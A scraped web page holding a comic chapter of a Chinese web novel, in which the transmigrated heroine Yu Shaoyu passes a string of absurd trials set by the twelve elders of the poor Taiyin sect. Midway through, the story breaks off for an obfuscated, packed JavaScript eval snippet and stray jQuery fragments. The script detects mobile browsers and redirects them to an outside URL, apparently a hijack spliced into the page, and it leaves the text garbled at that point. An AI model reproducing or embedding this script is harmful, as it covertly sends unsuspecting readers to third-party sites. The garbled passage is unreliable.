3. 3%
作品:《穿书捞个短命鬼》 “来来来,新来的,过来坐。”
中间那位像是辈分最尊的中年男子朝她轻轻招了招手,面上挂着几分和蔼笑意,温声道:“不必紧张,我们都不是恶人。”
于韶榆嘴角几不可查地抽了抽,面上依旧端着得体笑意,小心翼翼挪到一旁蒲团上坐了。刚一落座,左边那懒洋洋的男子便开口问道:“叫什么?”
“于韶榆。”
“哪儿来的?”
“呃……”于韶榆脑子飞速转着,“远地方。”
“多远?”
“很……很远。”
“比清静宗还远?”
于韶榆:“……差不多吧。”
“那你为什么不去清静宗,来我们这破地方?”
于韶榆噎住了。总不能说“因为我要救你们的小徒弟,三年后你们就都死光了吧”她正绞尽脑汁琢磨借口,右边那眉眼凌厉的女子忽然嗤了一声:“行了行了,别审了。小鹿,你来说,她是怎么来的?”
陆絮影沉默了一瞬:“她说她走错了。”
十二道目光再次齐刷刷落在于韶榆身上。
于韶榆:“……”
“走错了?”蹲在角落的幽幽声音又轻飘飘飘出来,“太阴门这破地界,也能走错?”
“就是说,”懒洋洋的男子跟着接腔,“咱们这儿阴气重得连飞鸟都绕着走,你一个姑娘家,怎么偏就走错到这儿来了?”
于韶榆深吸一口气,心里已然透亮,眼前这十二人,没一个是好拿捏的软柿子。可她于韶榆是谁?是一手缔造他们的人!哪怕此刻心底发怵,但面上的气势半分也不能输。
“就是走错了。”她挺直腰板,竭力摆出理直气壮的模样,“我路痴,闻着味儿就过来了。”
“闻着味儿?”角落里那道幽幽声线重复一遍,语气里掺了几分困惑,“什么味儿?
于韶榆脱口而出:“咸菜味儿。”
屋子里静了一瞬。随后……
“哈哈哈哈哈哈——”
坐在中间的二长老率先笑出声,紧接着左侧那懒洋洋的男子也跟着轻笑,右侧眉眼凌厉的女子唇角微扬,就连缩在角落里那位,也飘出一阵似风吹枯叶般沙沙的古怪笑声。
于韶榆被笑得一脸茫然。陆絮影站在一旁,嘴角微微动了动,别过脸去。
“咸菜味儿,”二长老笑得直拍大腿,“小鹿,听见没?咱们太阴门的招牌是咸菜!”
陆絮影面无表情:“听见了。”
“来来来,”二长老朝于韶榆招招手,笑得一脸慈祥,“小姑娘,就冲你这张嘴,我收你了。”
于韶榆眼睛一亮:“真的?”
“真的。”二长老点了点头,“咱们太阴门穷是穷了点,可胜在不讲究。是你想来便来,想走便走的地方,没人拦你。”
于韶榆心头一松,正要激动地俯身磕头谢恩,右侧那眉眼凌厉的女子忽然冷声道:“慢着。”
于韶榆动作一僵。
女子慢悠悠站起身,绕着于韶榆转了一圈,目光自上而下将她细细打量了一遍。“二师兄收你,是他的事。”她语气淡淡,“但我们这关,你得过。”
于韶榆心里猛地咯噔一下,抬眼望向那人。女子一身素白长衣,乌发松松搭在耳后,凤眼微挑,笑意里藏着几分意味深长。
她下意识咽了咽唾沫,面前这人是“十二金仙”里唯一的女长老。至于具体叫什么她早忘干净了,毕竟这本书隔得实在太久,十二位长老又全是戏份少得可怜的背景板。
但于韶榆还是装作一副傻子模样:“请……请问您是?”
女子勾唇一笑:“我是太阴门三长老,沐轻姿。”
于韶榆:“……三长老好。”
沐轻姿点点头,继续道:“太阴门虽然穷,但该有的规矩还是有的。既然来了,就得让我们看看,你有多大本事。”
于韶榆咽了咽口水:“什……什么本事?”
沐轻姿想了想,忽然指向角落里的那个蹲着的人:“看见那个没?”
于韶榆顺着她的手指看过去,角落里,那个幽幽的身影依然蹲着,只露出一双眼睛。
“那是你七师叔。”沐轻姿说,“你去,跟他说句话,让他笑一下。”
于韶榆:“……?”
什么???
她僵硬地转过头,看向沐轻姿:“您说什么?”
“让他笑一下。”沐轻姿重复了一遍,嘴角噙着看好戏的笑意,“七师叔已经三年没笑过了,你要是能让他笑,就算你过关。”
怎么记得他刚刚才笑过了。
“…………”
于韶榆张了张嘴,几番欲言又止,最终还是没憋出一句完整话。这他妈是什么阴间考验,让一个蹲在角落里、三年没笑过的人笑一下?
她深吸一口气,抬眼望向蹲在角落里的七师叔。后者幽幽地回望着她,目光暗淡,那神情,若那也能算作神情的话,半点波澜都无。
于韶榆硬着头皮走上前,在他面前一同蹲下身,两人就这么缩在角落里大眼瞪小眼。“七师叔。”她声音放得极轻,小心翼翼地开口。
七师叔没说话,只是幽幽看着她。
“那个……”于韶榆脑子飞速转着,“您知道为什么咸菜从来不生气吗?”
七师叔的眼皮动了动,没说话。
“因为它腌(淹)入味了。”
屋子里鸦雀无声,七师叔依然面无表情。于韶榆尴尬地笑了笑,继续道:“那您知道为什么豆腐总是很温柔吗?”
七师叔没反应。
“因为它豆(都)是软的。”
居然还是没反应。
于韶榆咬了咬牙,使出杀手锏:“那您知道为什么馒头看到包子就哭吗?”
七师叔的眼睛终于眨了一下。
“因为包子是馒头的豆沙(都杀)包。”
角落里那张阴森森的脸上,嘴角忽然极轻地抽了一下。就那么一下,快得像错觉,可于韶榆偏偏看得一清二楚。“笑了笑了!”她猛地蹦起来,手指直直戳着七师叔的嘴角,激动得声音都发飘,“他笑了!”
屋子里所有人都凑过来看。七师叔还是面无表情地蹲在那里,嘴角已经恢复了原状,仿佛什么都没发生过。
但沐轻姿看了于韶榆一眼,嘴角勾起一丝笑意:“行,算你过关。”
于韶榆长舒一口气,差点没瘫在地上。“还有别的关吗?”她虚弱地问。
“当然有。”左边那个懒洋洋的男子站起来,“我是你五长老。我的关简单,你跟我比一场,谁先睡着谁赢。”
于韶榆:“……?”
什么玩意儿???
五长老打了个哈欠,懒洋洋地躺回椅子上:“开始吧。”
于韶榆看着他,脑子一片空白。
这是让她比睡觉?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394918|200361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她正愣神,五长老的呼吸已经均匀了。
“…………”
睡着了,一秒入睡。
于韶榆嘴角抽搐,转头看向二长老:“这……这怎么比?”二长老笑着摆摆手:“行了行了,五长老逗你玩的。他的关你过不了,太阴门建门以来,没人比他能睡。”
于韶榆:“……”
“到我了吧?”一直没吭声、坐在另一侧角落的人忽然站起身。于韶榆转头望去,来人是个看着格外温和的中年男子,脸上挂着和煦笑意,浑身上下都透着一股“我是好人”的安稳气息。她偷偷松了口气,心里暗道,总算遇上一个正常人了。
“我是你四长老。”温和男子笑着说,“我的关最简单,你只要回答我一个问题就行。”
于韶榆立刻点头:“您问!”
四长老笑眯眯地看着她:“你觉得,太阴门为什么叫太阴门?”
于韶榆一愣。
为什么叫太阴门?她心里门儿清,这破名字本来就是她自己取的。当初写设定的时候,只觉得“太阴”二字听着阴恻恻,刚好配太阴门那股阴间味儿,随手一写就定了下来。
但这能说吗?
不能。
她张了张嘴,正想编个答案,四长老忽然凑近她,压低声音说:“答案是……不知道。”
于韶榆愣住了。
四长老笑着退后一步,大声宣布:“她过关了。”
于韶榆:“???”
“四长老的规矩,”二长老笑着解释,“只要被他问住,就算过关。”
于韶榆:“……”
这都是什么奇葩关卡!!!
接下来,
十二长老让她辨认十种不同的咸菜;六长老让她对着石碑念绕口令;八长老让她表演“如何用表情表达阴气”;九长老让她猜自己今天穿的袜子是什么颜色,答案是没穿;十长老让她原地转十圈然后走直线;十一长老让她对着门外喊一嗓子“太阴门最穷”,看看有没有人应,结果就是,没人应。
一圈下来,于韶榆累得瘫在地上,感觉自己被十二个奇葩轮番折腾了一遍。
“行了。”二长老笑着朗声宣布,“你过关了。从今日起,你便是太阴门第十八个弟子。”
于韶榆瘫在地上,有气无力地抬手拱了拱手:“谢过各位长老。”
“不用谢。”沐轻姿勾唇一笑,“小鱼,以后日子还长着呢。”
于韶榆心里一凉。
什么叫日子还长着?
她僵硬地转头,看向陆絮影。后者面无表情地站在那里,用眼神告诉她:我提醒过你了。于韶榆欲哭无泪。
角落里,七师叔幽幽地飘出一句:“刚才那个笑话……再说一遍。”
于韶榆一愣:“哪个?”
“馒头和包子。”
于韶榆想了想,重复了一遍:“馒头看到包子就哭,因为包子是馒头的豆沙包?”
七师叔的嘴角又抽了一下,这细微的动静偏偏被于韶榆看了个正着。她忽然觉得,这群师傅虽说个个奇葩,倒也没那么吓人。
就连蹲在角落里三年都没笑过一回的七师叔,竟也会因为一句烂俗笑话,悄悄勾了勾唇角。于韶榆望着满屋子奇形怪状的长老们,心里忽然涌上一股说不清道不明的暖意。
三年后,太阴门只剩陆絮影一人。
那这十二个长老,都去哪了?

